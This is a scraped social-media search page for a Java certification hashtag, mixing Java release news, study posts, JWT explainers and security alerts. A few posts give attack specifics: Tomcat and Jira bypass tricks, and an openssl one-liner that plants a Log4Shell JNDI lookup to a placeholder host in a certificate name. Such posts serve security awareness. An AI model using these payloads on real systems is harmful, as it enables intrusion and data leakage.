#java_servlet_certification résultats de recherche

Java 25 is now available! #Java25 #JDK25 #OpenJDK 👉 Download Now: social.ora.cl/6014APt6u 👉 Release notes: social.ora.cl/6011APt6X 👉 API Javadoc: social.ora.cl/6015APt6b 👉 Features: social.ora.cl/6010APt6g 👉 Inside Java on JDK 25: social.ora.cl/6012APt6i


HTTP is supposed to be stateless, but sometimes... it isn't! Some servers create invisible vulnerabilities by only validating the first request on each TCP/TLS connection. I've just published a Custom Action to help you detect & exploit this - here's a narrated demo:


JWT (JSON Web Token) Cheat Sheet: Credits: securityzines.com

GuidesJava's tweet image. JWT (JSON Web Token) Cheat Sheet:
Credits: securityzines.com

I made a cheatsheet for Java 🥰 🔗Link to the PDF below

pilatesdev's tweet image. I made a cheatsheet for Java 🥰 

🔗Link to the PDF below

Java/Backend Interview Question: How do modern apps keep you logged in without storing session data on the server? Meet JWTs (JSON Web Tokens)! →A compact, secure token that lets a server verify your requests without a database lookup every time. This makes apps fast,…

makakmayumjava's tweet image. Java/Backend Interview Question:
How do modern apps keep you logged in without storing session data on the server? 

Meet JWTs (JSON Web Tokens)!

→A compact, secure token that lets a server verify your requests without a database lookup every time. This makes apps fast,…

BTW @jh3yy have you seen this? Invalid certificate on your website

daformat's tweet image. BTW @jh3yy have you seen this? Invalid certificate on your website

🚨Alert🚨CVE-2025-42944(CVSS 10.0):Insecure Deserialization vulnerability in SAP Netweaver CVE-2025-42922 (CVSS 9.9):Insecure File Operations vulnerability in SAP NetWeaver AS Java CVE-2025-42958 (CVSS 9.1):Missing Authentication Check vulnerability in the SAP NetWeaver…

HunterMapping's tweet image. 🚨Alert🚨CVE-2025-42944(CVSS 10.0):Insecure Deserialization vulnerability in SAP
Netweaver
CVE-2025-42922 (CVSS 9.9):Insecure File Operations vulnerability in SAP
NetWeaver AS Java
CVE-2025-42958 (CVSS 9.1):Missing Authentication Check vulnerability in the SAP
NetWeaver…

En la imagen 1 asi es cuando ya le diste submitir, donde señale es donde debes de darle clic para que te de tu certificado, en la segunda imgane donde señale igual sale el historial para ver el certificado

MiriamTaesu7's tweet image. En la imagen 1 asi es cuando ya le diste submitir, donde señale es donde debes de darle clic para que te de tu certificado, en la segunda imgane donde señale igual sale el historial para ver el certificado
MiriamTaesu7's tweet image. En la imagen 1 asi es cuando ya le diste submitir, donde señale es donde debes de darle clic para que te de tu certificado, en la segunda imgane donde señale igual sale el historial para ver el certificado

github.com/TensoraL2/vali… Verified Validator stack now pushed to Github. We will open a support channel on our Discord server for users that run into issues or needs help to run it.


This custom slash command saves me so much time. I trigger it with `/ship` Here's the text: Run the complete development quality checklist and prepare for deployment: 1. **git status** and tell me if there's any files not committed yet. 2. **Update docs** look for any docs…

ryancarson's tweet image. This custom slash command saves me so much time.

I trigger it with `/ship`

Here's the text:

Run the complete development quality checklist and prepare for deployment:

1. **git status** and tell me if there's any files not committed yet.
2. **Update docs** look for any docs…

Welcome to the first article in my series on preparing for the Java 21 certification.Over the next several posts, we’ll walk through the most important language changes, APIs, and tricky details you’ll need to know for the exam. Read more 👉 lttr.ai/Aji8s #java


If you are using ECDSA signatures for e.g. SSL/TLS, signed JWTs, SAML assertions or OIDC id tokens, and even WebAuthn, an attacker can trivially and completely bypass them if your server is running any Java 15, 16, 17, or 18 version before the April 2022 Critical Patch Update

scriptjunkie1's tweet image. If you are using ECDSA signatures for e.g. SSL/TLS, signed JWTs, SAML assertions or OIDC id tokens, and even WebAuthn, an attacker can trivially and completely bypass them if your server is running any Java 15, 16, 17, or 18 version before the April 2022 Critical Patch Update

Oracle Java SE 17 Developer Professional: 1Z0-829 Exam freewebcart.com/course/oracle-…


Important HTTP codes . A screenshot from Java book :

SumitM_X's tweet image. Important HTTP codes .
A screenshot from Java book :

CVE-2017-12616, Tomcat Information Disclosure, %20 or ::$DATA or . works,but / not work, cause DefaultServlet detect / in the end.

pyn3rd's tweet image. CVE-2017-12616, Tomcat Information Disclosure, %20 or ::$DATA or .  works,but / not work, cause DefaultServlet detect / in the end.
pyn3rd's tweet image. CVE-2017-12616, Tomcat Information Disclosure, %20 or ::$DATA or .  works,but / not work, cause DefaultServlet detect / in the end.
pyn3rd's tweet image. CVE-2017-12616, Tomcat Information Disclosure, %20 or ::$DATA or .  works,but / not work, cause DefaultServlet detect / in the end.
pyn3rd's tweet image. CVE-2017-12616, Tomcat Information Disclosure, %20 or ::$DATA or .  works,but / not work, cause DefaultServlet detect / in the end.

CVE-2019-8451 Unauthorized SSRF via REST API /plugins/servlet/gadgets/makeRequest use @ to bypass the whitelisting ! jira.atlassian.com/issues/?filter… 👇 reading resources @orange_8361 blackhat.com/docs/us-17/thu…


Read and Share - Secure Coding Guidelines for #Java SE #Java9 oracle.com/technetwork/ja…

java's tweet image. Read and Share - Secure Coding Guidelines for #Java SE #Java9

oracle.com/technetwork/ja…

Secure Coding Guidelines for #Java SE #Java9 oracle.com/technetwork/ja…

java's tweet image. Secure Coding Guidelines for #Java SE #Java9

oracle.com/technetwork/ja…

Would you like to authenticate to this website using a TLS certificate? Why, yes, I would.... ;-) openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -subj "/CN=\$\{jndi:ldap:\/\/x.x.x.x:389\/\$\{java:version\}\}"

hackerfantastic's tweet image. Would you like to authenticate to this website using a TLS certificate? Why, yes, I would.... ;-)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -subj "/CN=\$\{jndi:ldap:\/\/x.x.x.x:389\/\$\{java:version\}\}"

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